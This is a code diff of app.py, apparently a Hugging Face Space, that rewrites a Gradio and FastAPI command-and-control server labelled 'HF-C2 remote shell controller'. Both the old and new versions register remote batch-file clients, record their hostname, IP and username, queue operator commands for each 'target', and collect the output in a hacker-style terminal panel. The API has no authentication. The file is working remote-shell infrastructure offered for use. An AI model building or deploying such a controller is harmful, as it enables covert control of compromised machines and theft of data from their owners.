Upload app.py

app.py

@@ -1,267 +1,248 @@
-import contextlib
+import gradio as gr
 import json
 import os
-import threading
+import time
 import uuid
-from datetime import datetime
+from threading import Lock
 
-from fastapi import FastAPI, Request
+from fastapi import Request
 from fastapi.responses import JSONResponse
-from starlette.middleware.cors import CORSMiddleware
-import gradio as gr
 
-DATA_FILE = "data.json"
-lock = threading.RLock()
+# ----------------------------------------------------------------------------
+# 持久化状态
+# ----------------------------------------------------------------------------
+DATA_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "data.json")
+lock = Lock()
+
+state = {
+    "clients": {},   # cid -> {hostname, ip, os, username, last_seen, status}
+    "queue": {},     # cid -> [{command_id, command, sent_at}]
+    "history": {},   # cid -> [{command_id, command, output, exit_code, ts}]
+    "pending": {},   # command_id -> command  (用于回显命令原文)
+    "log": [],       # 终端输出行
+}
 
 
-def load_data():
+def load():
+    global state
     if os.path.exists(DATA_FILE):
         try:
-            with open(DATA_FILE) as f:
-                return json.load(f)
+            with open(DATA_FILE, "r", encoding="utf-8") as f:
+                loaded = json.load(f)
+            for k in ("clients", "queue", "history", "pending", "log"):
+                if k in loaded:
+                    state[k] = loaded[k]
         except Exception:
-            return {"clients": {}, "commands": {}}
-    return {"clients": {}, "commands": {}}
+            pass
 
 
-def save_data(d):
-    tmp = DATA_FILE + ".tmp"
-    with open(tmp, "w") as f:
-        json.dump(d, f, indent=2, ensure_ascii=False)
-    os.replace(tmp, DATA_FILE)
+def save():
+    try:
+        with open(DATA_FILE, "w", encoding="utf-8") as f:
+            json.dump(state, f, ensure_ascii=False)
+    except Exception:
+        pass
 
 
-@contextlib.contextmanager
-def store_txn():
-    """Load state from disk, yield it for mutation, then save back (locked)."""
-    with lock:
-        s = load_data()
-        yield s
-        save_data(s)
-
-
-# initial value (functions reload fresh on each call via store_txn)
-store = load_data()
-
-# === FastAPI REST API (for BAT clients) ===
-api_app = FastAPI()
-api_app.add_middleware(
-    CORSMiddleware,
-    allow_origins=["*"],
-    allow_methods=["*"],
-    allow_headers=["*"],
-)
-
-
-def normalize_client_id(body):
-    cid = body.get("client_id") if isinstance(body, dict) else None
-    if isinstance(cid, str) and cid.strip():
-        return cid.strip()
-    return str(uuid.uuid4())[:8]
-
-
-@api_app.post("/api/register")
-async def register(req: Request):
-    body = await req.json()
-    with store_txn() as store:
-        cid = normalize_client_id(body)
-        now = datetime.now().isoformat()
-        if cid in store["clients"]:
-            # Reconnect: update info, keep pending commands
-            store["clients"][cid].update(
-                {
-                    "hostname": body.get("hostname", store["clients"][cid]["hostname"]),
-                    "ip": body.get("ip", store["clients"][cid]["ip"]),
-                    "os": body.get("os", store["clients"][cid]["os"]),
-                    "username": body.get("username", store["clients"][cid]["username"]),
-                    "last_seen": now,
-                }
-            )
-        else:
-            store["clients"][cid] = {
-                "hostname": body.get("hostname", "?"),
-                "ip": body.get("ip", "?"),
-                "os": body.get("os", "?"),
-                "username": body.get("username", "?"),
-                "registered_at": now,
-                "last_seen": now,
-            }
-            store["commands"].setdefault(cid, [])
-        return JSONResponse({"client_id": cid})
-
-
-@api_app.get("/api/poll")
-async def poll(client_id: str):
-    with store_txn() as store:
-        if not isinstance(client_id, str) or not client_id or client_id not in store["clients"]:
-            return JSONResponse({"error": "unknown client"}, status_code=404)
-        store["clients"][client_id]["last_seen"] = datetime.now().isoformat()
-        for c in store["commands"].get(client_id, []):
-            if c["status"] == "pending":
-                return JSONResponse({"command_id": c["id"], "command": c["command"]})
-        return JSONResponse({"command_id": None, "command": None})
-
-
-@api_app.post("/api/result")
-async def result(req: Request):
-    body = await req.json()
-    with store_txn() as store:
-        cid = body.get("client_id")
-        if not isinstance(cid, str) or not cid or cid not in store["clients"]:
-            return JSONResponse({"ok": False, "error": "unknown client"}, status_code=404)
-        cmd_id = body.get("command_id")
-        output = body.get("output", "")
-        ec = body.get("exit_code", -1)
-        for c in store["commands"].get(cid, []):
-            if c["id"] == cmd_id:
-                c["status"] = "done"
-                c["output"] = output
-                c["exit_code"] = ec
-                c["finished_at"] = datetime.now().isoformat()
-                break
-        return JSONResponse({"ok": True})
-
-
-@api_app.post("/api/heartbeat")
-async def heartbeat(req: Request):
-    body = await req.json()
-    with store_txn() as store:
-        cid = body.get("client_id")
-        if not isinstance(cid, str) or not cid or cid not in store["clients"]:
-            return JSONResponse({"ok": False, "error": "unknown client"}, status_code=404)
-        store["clients"][cid]["last_seen"] = datetime.now().isoformat()
-        return JSONResponse({"ok": True})
-
-
-# === Helpers ===
-def build_messages(client_id):
-    with store_txn() as store:
-        if not client_id or client_id not in store["clients"]:
-            return []
-        messages = [
-            {
-                "role": "assistant",
-                "content": "Microsoft Windows [Version 10.0.19045.3803]\n(c) Microsoft Corporation. All rights reserved.\n",
-            }
-        ]
-        cmds = store["commands"].get(client_id, [])
-        for c in cmds[-30:]:
-            if c["status"] == "pending":
-                out = "⏳ Pending..."
-            elif c["status"] == "done":
-                out = c.get("output", "") or "(no output)"
-            else:
-                out = f"[status: {c['status']}]"
-            messages.append({"role": "user", "content": f"C:\\> {c['command']}"})
-            messages.append({"role": "assistant", "content": out})
-        return messages
-
-
-def build_status(client_id):
-    with store_txn() as store:
-        if not client_id or client_id not in store["clients"]:
-            return "No client selected"
-        info = store["clients"][client_id]
-        last_seen = info.get("last_seen", "")
-        online = False
-        if last_seen:
-            try:
-                diff = (datetime.now() - datetime.fromisoformat(last_seen)).total_seconds()
-                online = diff < 30
-            except Exception:
-                pass
-        return (
-            f"{client_id} | {info['hostname']} | {info['ip']} | "
-            f"{'✅ Online' if online else '❌ Offline'}"
-        )
+def now():
+    return time.strftime("%Y-%m-%d %H:%M:%S")
 
 
-def refresh_clients():
-    with store_txn() as store:
-        return gr.Dropdown(choices=list(store["clients"].keys()))
-
-
-def on_select(client_id):
-    return build_status(client_id), build_messages(client_id)
-
-
-def on_send(client_id, command):
-    with store_txn() as store:
-        if not client_id or not command or not command.strip():
-            return build_status(client_id), build_messages(client_id), ""
-        if client_id not in store["clients"]:
-            return build_status(client_id), build_messages(client_id), command
-        cmd_id = str(uuid.uuid4())[:8]
-        store["commands"].setdefault(client_id, []).append(
-            {
-                "id": cmd_id,
-                "command": command.strip(),
-                "status": "pending",
-                "output": None,
-                "exit_code": None,
-                "created_at": datetime.now().isoformat(),
-            }
-        )
-        return build_status(client_id), build_messages(client_id), ""
+def log_line(s):
+    state["log"].append("[%s] %s" % (now(), s))
+    if len(state["log"]) > 800:
+        state["log"] = state["log"][-800:]
+    save()
 
 
-def on_check(client_id):
-    return build_status(client_id), build_messages(client_id)
+load()
 
+# ----------------------------------------------------------------------------
+# REST API (供 BAT 客户端调用)
+# ----------------------------------------------------------------------------
 
-def on_clear(client_id):
-    with store_txn() as store:
-        if client_id and client_id in store["clients"]:
-            store["commands"][client_id] = []
-        return build_status(client_id), build_messages(client_id)
 
+@gr.Blocks.route("/api/register", methods=["POST"])
+async def api_register(request: Request):
+    data = await request.json()
+    cid = data.get("client_id") or str(uuid.uuid4())
+    info = {
+        "hostname": data.get("hostname", "?"),
+        "ip": data.get("ip", "?"),
+        "os": data.get("os", "?"),
+        "username": data.get("username", "?"),
+        "last_seen": now(),
+        "status": "online",
+    }
+    with lock:
+        state["clients"][cid] = info
+        state["queue"].setdefault(cid, [])
+        state["history"].setdefault(cid, [])
+        log_line(">> REGISTER  %s  (%s)  ->  %s" % (info["hostname"], info["ip"], cid[:8]))
+        save()
+    return JSONResponse({"client_id": cid, "status": "ok"})
 
-# === Gradio UI (CMD simulator) ===
-with gr.Blocks(title="HF CMD Terminal") as demo:
-    gr.Markdown("# HF CMD Terminal")
+
+@gr.Blocks.route("/api/poll", methods=["GET"])
+async def api_poll(request: Request):
+    cid = request.query_params.get("client_id")
+    with lock:
+        if cid not in state["clients"]:
+            return JSONResponse({"command": None, "command_id": None, "error": "unknown client"})
+        state["clients"][cid]["last_seen"] = now()
+        state["clients"][cid]["status"] = "online"
+        q = state["queue"].get(cid, [])
+        if q:
+            cmd = q.pop(0)
+            state["queue"][cid] = q
+            state["pending"][cmd["command_id"]] = cmd["command"]
+            save()
+            return JSONResponse({"command_id": cmd["command_id"], "command": cmd["command"]})
+        save()
+    return JSONResponse({"command": None, "command_id": None})
+
+
+@gr.Blocks.route("/api/result", methods=["POST"])
+async def api_result(request: Request):
+    data = await request.json()
+    cid = data.get("client_id")
+    cmd_id = data.get("command_id")
+    with lock:
+        cmd_text = state["pending"].pop(cmd_id, "(unknown)")
+        rec = {
+            "command_id": cmd_id,
+            "command": cmd_text,
+            "output": (data.get("output") or "")[:200000],
+            "exit_code": data.get("exit_code"),
+            "ts": now(),
+        }
+        state["history"].setdefault(cid, []).append(rec)
+        log_line("<< RESULT  %s  (exit %s)\n%s" % (cid[:8], data.get("exit_code"), rec["output"][:3000]))
+        save()
+    return JSONResponse({"status": "ok"})
+
+
+@gr.Blocks.route("/api/heartbeat", methods=["POST"])
+async def api_heartbeat(request: Request):
+    data = await request.json()
+    cid = data.get("client_id")
+    with lock:
+        if cid in state["clients"]:
+            state["clients"][cid]["last_seen"] = now()
+            state["clients"][cid]["status"] = "online"
+            save()
+    return JSONResponse({"status": "ok"})
+
+
+# ----------------------------------------------------------------------------
+# Gradio UI (仿 CMD 终端)
+# ----------------------------------------------------------------------------
+CSS = """
+:root { --term-bg:#0b0f0a; --term-fg:#33ff66; }
+* { font-family: "Cascadia Code", "Consolas", "Lucida Console", monospace !important; }
+body, .gradio-container { background:#000 !important; color:var(--term-fg) !important; }
+.gradio-container { max-width:100% !important; }
+.gr-button {
+    background:#111 !important; color:var(--term-fg) !important;
+    border:1px solid #2a6b3a !important; border-radius:0 !important;
+    box-shadow:none !important; font-weight:bold; text-transform:uppercase; letter-spacing:1px;
+}
+.gr-button:hover { background:#163 !important; }
+.gr-textbox textarea, .gr-textbox input {
+    background:var(--term-bg) !important; color:var(--term-fg) !important;
+    border:1px solid #2a6b3a !important; border-radius:0 !important;
+    caret-color:var(--term-fg); font-size:14px; line-height:1.35;
+}
+.gr-dropdown select {
+    background:var(--term-bg) !important; color:var(--term-fg) !important;
+    border:1px solid #2a6b3a !important; border-radius:0 !important;
+}
+.gr-box, .gr-panel { background:#000 !important; border:1px solid #2a6b3a !important; border-radius:0 !important; }
+.gr-form { border:0 !important; }
+.term-title { color:var(--term-fg) !important; font-weight:bold; letter-spacing:2px; }
+footer, .built-with { display:none !important; }
+"""
+
+with gr.Blocks(css=CSS, title="HF-C2 // TERMINAL") as demo:
+    gr.Markdown('<div class="term-title">C:\\HF-C2&gt; _  —  remote shell controller</div>')
 
     with gr.Row():
-        client_selector = gr.Dropdown(label="Target", choices=[], scale=4, interactive=True)
-        refresh_btn = gr.Button("🔄 Refresh", scale=1)
-        status_label = gr.Textbox(
-            label="Status", value="No client selected", scale=3, interactive=False, container=False
-        )
+        client_box = gr.Dropdown(label="target", choices=[], interactive=True, scale=4)
+        refresh_btn = gr.Button("refresh", scale=1)
+        clear_btn = gr.Button("clear", scale=1)
 
-    terminal = gr.Chatbot(
-        label="Terminal",
-        height=550,
+    with gr.Row():
+        cmd_box = gr.Textbox(label="command", placeholder="type command and press Enter ...", scale=5)
+        send_btn = gr.Button("execute", scale=1)
+
+    term_box = gr.Textbox(
+        label="",
+        value="",
+        lines=28,
+        max_lines=28,
+        interactive=False,
+        show_label=False,
     )
 
-    with gr.Row():
-        cmd_input = gr.Textbox(
-            label="",
-            placeholder="Type a command (e.g. ipconfig) and press Enter...",
-            scale=5,
-            container=False,
+    status_box = gr.Textbox(label="clients", value="(none)", lines=6, interactive=False)
+
+
+def refresh_terminal():
+    with lock:
+        return "\n".join(state["log"])
+
+
+def refresh_clients():
+    with lock:
+        choices = list(state["clients"].keys())
+        lines = []
+        for cid, c in state["clients"].items():
+            lines.append(
+                "%-14s %-15s %-10s %-12s %s"
+                % (c["hostname"][:14], c["ip"][:15], cid[:8], c["status"], c["last_seen"])
+            )
+        status = "\n".join(lines) if lines else "(no clients connected)"
+    return gr.update(choices=choices), status
+
+
+def refresh_all():
+    term = refresh_terminal()
+    clients, status = refresh_clients()
+    return term, clients, status
+
+
+def send_command(cid, cmd):
+    if not cid:
+        return "!! no target selected", gr.update(), gr.update()
+    if not cmd or not cmd.strip():
+        return "!! empty command", gr.update(), gr.update()
+    cmd_id = str(uuid.uuid4())
+    with lock:
+        state["queue"].setdefault(cid, []).append(
+            {"command_id": cmd_id, "command": cmd, "sent_at": now()}
         )
-        send_btn = gr.Button("Send", variant="primary", scale=1)
-        check_btn = gr.Button("Check", scale=1)
-        clear_btn = gr.Button("Clear", scale=1)
-
-    demo.load(fn=refresh_clients, outputs=[client_selector])
-    refresh_btn.click(fn=refresh_clients, outputs=[client_selector])
-    client_selector.change(fn=on_select, inputs=[client_selector], outputs=[status_label, terminal])
-    send_event = send_btn.click(
-        fn=on_send,
-        inputs=[client_selector, cmd_input],
-        outputs=[status_label, terminal, cmd_input],
-    )
-    cmd_input.submit(
-        fn=on_send,
-        inputs=[client_selector, cmd_input],
-        outputs=[status_label, terminal, cmd_input],
-    )
-    check_btn.click(fn=on_check, inputs=[client_selector], outputs=[status_label, terminal])
-    clear_btn.click(fn=on_clear, inputs=[client_selector], outputs=[status_label, terminal])
+        log_line(">> SEND  -> %s : %s" % (cid[:8], cmd))
+        save()
+    term = refresh_terminal()
+    return term, gr.update(), gr.update()
+
+
+def clear_log():
+    with lock:
+        state["log"] = []
+        save()
+    return ""
+
+
+timer = gr.Timer(3.0)
+timer.tick(fn=refresh_all, inputs=None, outputs=[term_box, client_box, status_box])
+
+refresh_btn.click(fn=refresh_all, inputs=None, outputs=[term_box, client_box, status_box])
+clear_btn.click(fn=clear_log, inputs=None, outputs=[term_box])
+send_btn.click(fn=send_command, inputs=[client_box, cmd_box], outputs=[term_box, client_box, status_box])
+cmd_box.submit(fn=send_command, inputs=[client_box, cmd_box], outputs=[term_box, client_box, status_box])
 
-    # Auto-refresh (simulate real-time push)
-    timer = gr.Timer(3)
-    timer.tick(fn=on_check, inputs=[client_selector], outputs=[status_label, terminal])
+# 初始填充
+demo.load(fn=refresh_all, inputs=None, outputs=[term_box, client_box, status_box])
 
-# === Mount Gradio on FastAPI and export as 'app' ===
-app = gr.mount_gradio_app(api_app, demo, path="/")
+demo.launch(server_name="0.0.0.0", server_port=int(os.environ.get("PORT", 7860)))